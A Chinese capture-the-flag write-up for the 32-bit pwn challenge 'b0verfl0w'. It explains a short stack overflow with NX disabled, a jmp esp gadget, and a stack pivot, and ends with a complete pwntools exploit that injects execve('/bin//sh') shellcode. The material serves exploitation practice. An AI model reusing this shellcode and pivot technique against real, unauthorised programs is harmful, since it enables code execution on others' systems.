b0verfl0w

先checksec 一波,32位,啥都没开

image.png

IDA分析,可以发现一个很明显的栈溢出漏洞,但是细心点就会发现溢出的空间只有0x12有点小,很难构造ROP链,由于没有开启NX,那是不是可以往s写入shellcode然后返回到栈里执行这段shellcode,找一下gadget

image.png

这是里有一个jmp esp那么接下来我们还需要执行一段sub esp,0x28;jmp esp就可以返回到s的栈去执行写进去的shellcode

image.png

exp:

from pwn import *
p = process('./b0verflow')
context.log_level = 'debug'
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
jmp_esp = 0x08048504
'''
sub esp,0x28
jmp esp
'''
sub_jmp_esp = asm('sub esp,0x28;jmp esp')
payload = shellcode_x86 + 'a'*(0x24-len(shellcode_x86)) + p32(jmp_esp) + sub_jmp_esp
# gdb.attach(p,"b *0x804857a")
# pause()
p.sendline(payload)
p.interactive()

你可能感兴趣的:(b0verfl0w)